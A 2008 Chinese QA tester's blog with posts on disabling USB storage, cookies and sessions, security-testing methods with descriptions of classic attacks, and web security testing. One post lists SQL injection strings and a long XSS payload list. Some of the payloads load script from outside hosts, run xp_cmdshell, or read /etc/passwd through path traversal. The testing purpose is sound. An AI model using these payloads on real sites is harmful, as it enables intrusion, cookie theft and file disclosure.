发布新日志

  • 禁用USB

    2008-05-31 08:38:35

    前几天见个朋友问禁用USB的方法,也忘了是哪个朋友了,不好意思了,这里说下,不是软件了,是本人自己以前收集的了,可以禁用USB的。
        方法1在BIOS中禁用,在advance chip  setting里,关闭USB ON BOARD选项,可以通过debug
    ,放电,或者软件等方法破解BIOS密码。
        方法2权限,如果计算机上尚未安装USB存储设备,向用户或组分配对%systemRoot%\inf\usbstor.pnf和%systemRoot%\inf\usbstor。inf两个文件的“拒绝权限”。
        方法3如果计算机上已安装过USB设备,请打开注册表HKEY_LOCAL_MACHINE\SYSTEM\CURRENTCONTROLSET\SERVICES\USBSTOR注册表项中的“start”值设置为4
           

          在说个让U盘只能读取的方法,打开注册表定位到HKEY_LOCAL_MACHINE\SYSTEM\CURRENTCONTROLSET\CONTROL\STORAGEDERICEPOLICIES.然后在右侧窗口新建一个名为writeprotect的dword值,并将值设置为1即可。
       

        有软件的人就不说了,没软件的朋友可以用这些方法的了。希望对大家有些帮助了,不知道这个方法版主给加精不加啊,呵呵
  • WE安全测试学习笔记(cookie&session)

    2008-02-20 15:38:32

    Web安全测试学习笔记(Cookie&Session)


    一,Session:含义:有始有终的一系列动作\消息
    1,  隐含了“面向连接” 和“保持状态”两种含义
    2,  一种用来在客户端与服务器之间保持状态的解决方案
    3,  也指这种解决方案的存储结构“把××保存在session里”

    二, http 协议本来是无状态的,所以引进了cookie和session机制来保持连接状态

    cookie与session 机制之间的区别与联系:
    cookie机制采用的是在客户端保持状态的方法
    session机制采用的是在服务器端保持状态的方案,由于在服务器端保  持状态的同时必须要求客户端提供一个标识,

    三,关于cookie机制
    Cookie 的使用是由浏览器按照一定的原则在后台自动发送给服务器的,浏览器会检查所有存储的cookie,如果某个cookie所声明的作用范围大于等于将要请求的资源所在的位置,则把该cookie附在请求资源的http请求头上发送给服务器。
    存储在硬盘上的cookie可以在不同的浏览器进程间共享,比如两个IE窗口。而保存在内存里的cookie,不同的浏览器有不同的处理方式,对于IE,在一个打开的窗口上按CTRL+ N(从文件菜单)打开的窗口可以与原窗口共享cookie,而使用其他方式新开的IE进程则不能共享已经打开的窗口的内存cookie。
    Cookie的内容包括: 名字,值,过期时间,路径和域

    四,关于session的机制
        当程序需要为某个客户端的请求创建一个session的时候,服务器首先检查这个请求是否含了一个session 标识(session id),如果有,则说明以前为该客户创建了一个session,服务器就按照session id把这个session检索出来用,一般一个cookie的名字就是类似于session ID,如果cookie被禁止的时候(cookie可以被人为的禁止),经常使用重写URL的方式,把session ID附加在URL路径后面,为了在整个交互过程中始终保持状态,就必须在每个客户端可能请求的路径后面都包含这个session id。
        人们以为:“把浏览器关闭了,session 就小时了”其实不对,除非程序通知服务器删除一个session,否则服务器会一直保留,而程序一般都是在用户作log off的时候发个指令去删除session。人们之所以会产生这种错觉,是因为大部分session会采用cookie来保存session,而关闭浏览器后这个session就消失了,如果服务器设置的cookie被保存到硬盘上,或者使用某种手段改写浏览器发出的http请求头,把原来的session id发送给服务器,则再次打开浏览器,其实是可以再次找到之前的session id的。所以设置失效时间可以起到一定的保护作用。

    五,关于session的一些问题
    1,  session何时被创建: 不是在客户端访问时就被创建,而是在服务器端调用httpservletRequest.getSession(true)时才被创建。
    2,  session何时被删除:  A,程序调用httpSession.invalidate(),B距离上一次收到客户端发送的session id时间间隔超过了session的超时设置 C,  服务器进程被停止(非持久session)
    3,  如何做到关闭浏览器同时关闭session:  严格说做不到,可以让所有的客户端页面使用window.onclose来监视浏览器的关闭东西,然后向服务器发送一个请求来删除session,但是对于浏览器崩溃或者强行杀死进程时仍然无能为力。
  • 安全性测试方法

    2008-02-20 13:57:15

    1. 功能验证

    功能验证是采用软件测试当中的黑盒测试方法,对涉及安全的软件功能,如:用户管理模块,权限管理模块,加密系统,认证系统等进行测试,主要验证上述功能是否有效,具体方法可使用黑盒测试方法。

    2. 漏洞扫描

    安全漏洞扫描通常都是借助于特定的漏洞扫描器完成的。漏洞扫描器是一种自动检测远程或本地主机安全性弱点的程序。通过使用漏洞扫描器,系统管理员能够发现所维护信息系统存在的安全漏洞,从而在信息系统网络安全保卫站中做到“有的放矢”,及时修补漏洞。按常规标准,可以将漏洞扫描分为两种类型:主机漏洞扫描器(Host Scanner)和网络漏洞扫描器(Net Scanner)。主机漏洞扫描器是指在系统本地运行检测系统漏洞的程序,如著名的COPSTripewireTiger等自由软件。网络漏洞扫描器是指基于网络远程检测目标网络和主机系统漏洞的程序,如SatanISS Internet Scanner等。

    安全漏洞扫描是可以用于日常安全防护,同时可以作为对软件产品或信息系统进行测试的手段,可以在安全漏洞造成严重危害前,发现漏洞并加以防范。

    3. 模拟攻击实验

    对于安全测试来说,模拟攻击测试是一组特殊的黑盒测试案例,我们以模拟攻击来验证软件或信息系统的安全防护能力,下面简要列举在数据处理与数据通信环境中特别关心的几种攻击。在下列各项中,出现了“授权”和“非授权”两个术语。“授权”意指“授予权力”,包含两层意思:这里的权力是指进行某种活动的权力(例如访问数据);这样的权力被授予某个实体、代理人或进程。于是,授权行为就是履行被授予权力(未被撤销)的那些活动

      l 冒充:就是意个实体假装成一个不同的实体。冒充常与某些别的主动攻击形式一起使用,特别是消息的重演与篡改。例如,截获鉴别序列,并在一个有效的鉴别序列使用过一次后再次使用。特权很少的实体为了得到额外的特权,可能使用冒充成具有这些特权的实体,举例如下。

              1)   口令猜测:一旦黑客识别了一台主机,而且发现了基于NetBIOSTelnetNFS服务的可利用的用户帐号,并成功地猜测出了口令,就能对机器进行控制。

              2)   缓冲区溢出:由于在很多地服务程序中大意的程序员使用类似于“strcpy()strcat()”不进行有效位检查的函数,最终可能导致恶意用户编写一小段程序来进一步打开安全缺口,然后将该代码放在缓冲区有效载荷末尾,这样,当发生缓冲区溢出时,返回指针指向恶意代码,执行恶意指令,就可以得到系统的控制权。

      l 重演:当一个消息或部分消息为了产生非授权效果而被重复时,出现重演。例如,一个含有鉴别信息的有效消息可能被另一个实体所重演,目的是鉴别它自己(把它当作其他实体)。

      l 消息篡改:数据所传送的内容被改变而未被发觉,并导致非授权后果,如下所示。

              1)   DNS高速缓存污染:由于DNS服务器与其他名称服务器交换信息的时候并不进行身份验证,这就使得黑客可以加入不正确得信息,并把用户引向黑客自己的主机。

              2)   伪造电子邮件:由于SMTP并不对邮件发送者的身份进行鉴定,因此黑客可以对内部客户伪造电子邮件,声称是来自某个客户认识并相信的人,并附上可安装的特洛伊木马程序,或者是一个指向恶意网站的链接。

      l 服务拒绝:当溢个实体不能执行它的正常功能,或它的动作防碍了别的实体执行它们的正常功能的时候,便发生服务拒绝。这种攻击可能是一般性的,比如一个实体抑制所有的消息,也可能是有具体目标的。例如,一个实体抑制所有流向某一特定目的端的消息,如安全审计服务。这种攻击可以是对通信业务流的抑制,或产生额外的通信业务流。也可能制造出试图破坏网络操作的消息,特别是如果网络具有中继实体,这些中继实体根据从别的中继实体那里接收到的状态报告,来做出路由选择的决定。拒绝服务攻击种类很多,举例如下。

             1)   死亡之pingping of death):由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都规定为64KB,并且在读取包的标题后,要根据该标题头里包含的信息来为有效载荷生成缓冲区。当产生畸形的、声称自己的尺寸超过ICMP上限,也就是加载尺寸超过64K上限的包时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方宕机。

     2)   泪滴(Teardorop):泪滴攻击利用那些在TCP/IP堆栈实现中信任IP碎片中的包的标题头所包含的信息来实现自己的攻击。IP分段含有指示该分段所包含的是原包的哪一段的信息,某些TCP/IP(包括Service Pack 4 以前的NT)在收到含有重叠偏移的伪造分段时将崩溃。

               3)   UDP洪水(UDP Flood):  各种各样的假冒攻击利用简单的TCP/IP服务,如ChargenEcho 来传送毫无用处的数据以占满带宽。通过伪造与某一主机的Chargen服务之间的一次的UDP连接,回复地址指向开着Echo服务的一台主机,这样就生成在两台主机之间的足够多的无用数据流,如果数据流足够多,就会导致带宽的服务攻击。

               4)   SYN洪水(SYN Flood):一些TCP/IP栈的实现,只能等待从有限数量的计算机发来的ACK消息,因为它们只有有限的内存缓冲区用于创建连接,如果这一缓冲区充满了虚假连接的初始信息,该服务器就会对接下来的连接请求停止响应,直到缓冲区里的连接企图超时为止。在一些创建连接不受限制的实现里,SYN洪水也具有类似的影响。

               5)   Land攻击:Land攻击中,一个特别打造的SYN包的原地址和目标地址都被设置成某一个服务器地址,这将导致接受服务器向它自己的地址发送SYN-ACK消息,结果,这个地址又发回ACK消息并创建一个空连接,每一个这样的连接都将保留,直到超时。各种系统对Land攻击的反应不同,许多UNIX实现将崩溃,NT变得极其缓慢(大约持续5分钟)。

               6)   Smurf攻击:一个简单的Smurf攻击,通过使用将回复地址设置成受害网络的广播地址的ICMP应答请求(ping)数据包,来淹没受害主机的方式进行,最终导致该网络的所有主机都对此ICMP应答请求作出答复,导致网络阻塞,比“Ping of Death”洪水的流量高出一个或两个数量级。更加复杂的Smurf将源地址改为第三方的受害者,最终导致第三方雪崩。

               7)   Fraggle攻击:Fraggle攻击对Smurf攻击作了简单的修改,使用的是UDP应答消息,而非ICMP

               8)   电子邮件炸弹:电子邮件炸弹是最古老的匿名攻击之一,通过设置一台机器,不断大量地向同一地址发送电子邮件,攻击者能够耗尽接收者网络的带宽。

               9)   畸形消息攻击:各类操作系统上的许多服务都存在此类问题,由于这些服务在处理信息之前没有进行适当正确的错误校验,在收到畸形的信息时可能会崩溃。

      l 内部攻击:当系统的合法用户以非故意或非授权方式进行动作时就成为内部攻击。多数已知的计算机犯罪都和使系统安全遭受损害的内部攻击有密切的关系。能用来防止内部攻击的保护方法包括:所有管理数据流进行加密;利用包括使用强口令在内的多级控制机制和集中管理机制来加强系统的控制能力;为分布在不同场所的业务部门划分VLAN,将数据流隔离在特定部门;利用防火墙为进出网络的用户提供认证功能,提供访问控制保护;使用安全日志记录网络管理数据流等。

      l 外部攻击:外部攻击可以使用的方法有:搭线(主动的与被动的)、截取辐射、冒充为系统的授权用户、冒充为系统的组成部分、为鉴别或访问控制机制设置旁路等。

      l 陷阱门:当系统的实体受到改变,致使一个攻击者能对命令或对预定的事件或事件序列产生非授权的影响时,其结果就称为陷阱门。例如,口令的有效性可能被修改,使得除了其正常效力之外也使攻击者的口令生效。

      l 特洛伊木马:对系统而言的特洛伊木马,是指它不但具有自己的授权功能,而且还有非授权功能。一个向非授权信道拷贝消息的中继就是一个特洛伊木马。典型的特洛伊木马有NetBusBackOrificeBO2k 等。

    4.       侦听技术

    侦听技术实际上是在数据通信或数据交互过程,对数据进行截取分析的过程。目前最为流行的是网络数据包的捕获技术,通常我们称为 Capture,黑客可以利用该项技术实现数据的盗用,而测试人员同样可以利用该项技术实现安全测试。

    该项技术主要用于对网络加密的验证。



  • 安全性测试系列之二-如何对网站进行安全性测试?

    2008-02-15 14:45:54

     DJANGO的那篇文档中只介绍了网络中常见的安全问题以及如何从程序的角度去防御它们,并未介绍如何针对安全问题进行测试.本章的主要内容是针对上章中提及的安全性问题介绍如何进行安全性测试.

      1.SQL Injection(SQL 注入)

      (1)如何进行SQL注入测试?

    • 首先找到带有参数传递的URL页面,如搜索页面,登录页面,提交评论页面等等.
    注1:对于未明显标识在URL中传递参数的,可以通过查看HTML源代码中的"FORM"标签来辨别是否还有参数传递.在<FORM>和</FORM>的标签中间的每一个参数传递都有可能被利用.

    <form id="form_search" action="/search/" method="get">

    <div>

    <input type="text" name="q" id="search_q" value="" />

    <input name="search" type="image" src="/media/images/site/search_btn.gif" />

    <a href="/search/" class="fl">Gamefinder</a>

    </div>

    </form>

    注2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的URL,如HTTP://DOMAIN/INDEX.ASP?ID=10
    • 其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片断,如在登录页面的URL中输入HTTP://DOMAIN/INDEX.ASP?USERNAME=HI' OR 1=1--
          注: 根据实际情况 ,SQL注入请求可以使用以下语句

    注1:根据实际情况,SQL注入请求可以使用以下语句:

    ' or 1=1- -

    " or 1=1- -

    or 1=1- -

    ' or 'a'='a

    " or "a"="a

    ') or ('a'='a 
       注2:为什么是OR,以及'――'是特殊的字符呢?

    例子:在登录时进行身份验证时,通常使用如下语句来进行验证:sql=select * from user where name='"&name&"' and pwd='"&pwd&"'

    如 输入http://duck/index.asp?username=admin' or 1=1- -SQL语句会变成以下:sql=select * from user where name='admin' or 1='1' and password='11'

    OR是一个逻辑运算符,在判断多个条件的时候,只要一个成立,则等式就成立,后面的AND就不再时行判断了,也就是说我们绕过了密码验证,我们只用用户名就可以登录.

    如 输入http://duck/index.asp?username=admin'--SQL语句会变成以下sql=select * from user where name='admin' --' and pasword='11',

    “--”是忽略或注释,上述通过连接符注释掉后面的密码验证(:ACCESS数据库无效).
    • 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在SQL安全漏洞.
    • 试想,如果网站存在SQL注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的.
      (2)如何预防SQL注入?
    • 替换或删除敏感字符及字符串。

    • 屏蔽出错信息:阻止攻击者知道攻击的结果

    • 在服务端正式处理之前提交数据的合法性进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作.

      2.Cross-site scritping(XSS):(跨站点脚本攻击)

    • <!--[if !supportLists]-->首先,找到带有参数传递的URL,如登录页面,搜索页面,提交评论,发表留言页面等等。
    • <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试:

    '><scrīpt> alert('XSS')</scrīpt>

    • 注:其它的XSS测试语句

      ><scrīpt>alert(document.cookie)</scrīpt>
      ='><scrīpt>alert(document.cookie)</scrīpt>
      <scrīpt>alert(document.cookie)</scrīpt>
      <scrīpt>alert(vulnerable)</scrīpt>
      %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
      <scrīpt>alert('XSS')</scrīpt>
      <img src="javascrīpt:alert('XSS')">
      %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp
      %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
      %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
      %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
      %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
      %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
      %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
      %3f.jsp
      %3f.jsp
      &lt;scrīpt&gt;alert('Vulnerable');&lt;/scrīpt&gt
      <scrīpt>alert('Vulnerable')</scrīpt>
      ?sql_debug=1
      a%5c.aspx
      a.jsp/<scrīpt>alert('Vulnerable')</scrīpt>
      a/
      a?<scrīpt>alert('Vulnerable')</scrīpt>
      "><scrīpt>alert('Vulnerable')</scrīpt>
      ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
      %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
      %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
      %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
      1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
      ../../../../../../../../etc/passwd
      ..\..\..\..\..\..\..\..\windows\system.ini
      \..\..\..\..\..\..\..\..\windows\system.ini
      '';!--"<XSS>=&{()}
      <IMG SRC="javascrīpt:alert('XSS');">
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=javascrīpt:alert(&quot;XSS&quot;)>
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=javascrīpt:alert('XSS')>
      <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
      <IMG SRC="jav ascrīpt:alert('XSS');">
      <IMG SRC="jav ascrīpt:alert('XSS');">
      <IMG SRC="jav ascrīpt:alert('XSS');">
      "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out
      <IMG SRC=" javascrīpt:alert('XSS');">
      <scrīpt>a=/XSS/alert(a.source)</scrīpt>
      <BODY BACKGROUND="javascrīpt:alert('XSS')">
      <BODY ōNLOAD=alert('XSS')>
      <IMG DYNSRC="javascrīpt:alert('XSS')">
      <IMG LOWSRC="javascrīpt:alert('XSS')">
      <BGSOUND SRC="javascrīpt:alert('XSS');">
      <br size="&{alert('XSS')}">
      <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
      <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');">
      <IMG SRC='vbscrīpt:msgbox("XSS")'>
      <IMG SRC="mocha:[code]">
      <IMG SRC="livescrīpt:[code]">
      <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');">
      <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME>
      <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET>
      <TABLE BACKGROUND="javascrīpt:alert('XSS')">
      <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))">
      <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
      <DIV STYLE="width: expression(alert('XSS'));">
      <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
      <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
      <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE>
      <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS></A>
      <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE>
      <BASE HREF="javascrīpt:alert('XSS');//">
      getURL("javascrīpt:alert('XSS')")
      a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d);
      <XML SRC="javascrīpt:alert('XSS');">
      "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><"
      <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt>
      <IMG SRC="javascrīpt:alert('XSS')"
      <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīpt>'"-->
      <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
      <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt>
      <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

      最后,验证是否会出现带有“XSS”的弹出框,如果有则说明存在XSS漏洞.
      3.CSRF:(跨站点伪造请求)

      4.Email Header Injection(邮件标头注入)
      5.Directory Traversal(目录遍历)
      6.exposed error messages(错误信息)


      

  • 安全性测试系列之一-网站安全性问题

    2008-02-15 14:42:09

    然我的工作经验有四年,但是算是测试新手,在测试行业混也只有半年的时间,现在在一家外包公司做QA,该公司的业务都是基于B/S结构的,我的测试工作也主要是WEB测试.

       其实我知道的关于WEB测试的东西也是纯理论性的,除了要进行功能测试外,还要进行界面测试,兼容性测试,性能测试,安全性测试.

       在项目初期我已经把安全性测试纳入到测试的计划中了,但是苦于不知道如何下手,一直也没有开展这项测试,直到有一天,我们的公司的一位程序员偶然从GOOGLE中搜索到了一个网站,这个网站报告了我们现有程序中存在着XSS漏洞.我们公司的人基本上都不了解安全性测试,出了这个事件后,安全性测试也被正式提到了测试的工作日程中.

       我通过查找资料,总结了一下安全性测试的内容,内容并不完整,有待继续补充.

       我们将会从三个方面来讨论安全性测试,首先是安全性问题都包括哪些?其次是如何进行安全性测试?最后是安全性测试工具.

       今天主要总结安全性问题都包括哪些.

       1.DJANGO的一篇文档中介绍了关于安全性问题包括的内容:http://www.djangobook.com/en/1.0/chapter19

             这篇文章的主题思想是:Never — under any circumstances — trust data from the browser.(从不要相信来自浏览器端的数据,因为你永远不可能知道在浏览器进行数据操作是你的用户还是正在寻找攻击漏洞的黑客)

         2.安全性问题包括的内容:

    • SQL Injection:(SQL注入)

    SQL injection is a common exploit in which an attacker alters Web page parameters (such as GET/POST data or URLs) to insert arbitrary SQL snippets that a naive Web application executes in its database directly.

    SQL注入是最常见的攻击方式,它的主要原理是:攻击者通过改变WEB页的参数(如GET/POST数据或是URLS)直接将SQL片断提交到服务器,并在服务器端执行的过程.

    • Cross-Site scrīpting (XSS):(跨站点脚本攻击)

    Cross-site scrīpting (XSS), is found in Web applications that fail to escape user-submitted content properly before rendering it into HTML. This allows an attacker to insert arbitrary HTML into your Web page, usually in the form of <scrīpt> tags.

    Attackers often use XSS attacks to steal cookie and session information, or to trick users into giving private information to the wrong person (aka phishing).

    XSS定义:是由于WEB程序没有对用户提交的HTML内容进行适当的转译,这样攻击者就可能在你的WEB页中插入一些HTML语句,这些语句通过以<SCRITP>TAG的形式出现.

    攻击者通常使用XSS攻击来窃取COOKIES 和 SESSION信息,或是欺骗用户将隐私信息暴露给错误对象(又称为钓鱼)

    • Cross-Site Request Forgery:(指跨站点请求伪造)

    Cross-site request forgery (CSRF) happens when a malicious Web site tricks users into unknowingly loading a URL from a site at which they’re already authenticated — hence taking advantage of their authenticated status.


    CSRF:通过在WEB页或在给用户发邮件中插入恶意代码(通常是链接或是脚本),比如发送一个带有银行取款链接的图片或脚本(通常是HTML或JAVAscrīpt),当用户访问这个图片时,系统会自动向目标站点发起请求,如果这个目标站点的仍保留这个用户的COOKIE信息,并且这个COOKIER未过期,那么攻击者就可以在用户不知情的情况以用户的身份登录银行或执行取款操作.

    CSRF的特性就是利用网站对用户标识的信任,欺骗用户的浏览器发送HTTP请求给目标站点

    • Session Forging/Hijacking:(Session 篡改)


    • Email Header Injection:(邮件标题注入)

    SQL injection’s less well-known sibling,email header injection, hijacks Web forms that send email. An attacker can use this technique to send spam via your mail server. Any form that constructs email headers from Web form data is vulnerable to this kind of attack.


    email header injection 与 SQL注入的原理类似,它的原理是:通过在EMAIL的SUBJECT中输入一些特殊语句如"\n",攻者者可以利用这个缺陷通过你的邮件服务器发送垃圾邮件.

    • Directory Traversal:(目录遍历)

    Directory traversal is another injection-style attack, wherein a malicious user tricks filesystem code into reading and/or writing files that the Web server shouldn’t have access to.


    目录遍历是另一种注入类型的攻击,攻击者欺骗文件系统读或写服务器不允许操作的文件.

    • Exposed Error Messages:(曝露错误信息)

    During development, being able to see tracebacks and errors live in your browser is extremely useful.However, if these errors get displayed once the site goes live, they can reveal aspects of your code or configuration that could aid an attacker.


    开发过程中,如果可以看到错误或历史记录对FIX问题是非常有用的.但是如果这些错误信息被攻击者所获取,那么攻击者就可以通过错误信息而了解到应用程序代码或是数据库或是配置等方面的内容,并为期其行攻击提供有力的帮助.

      

Open Toolbar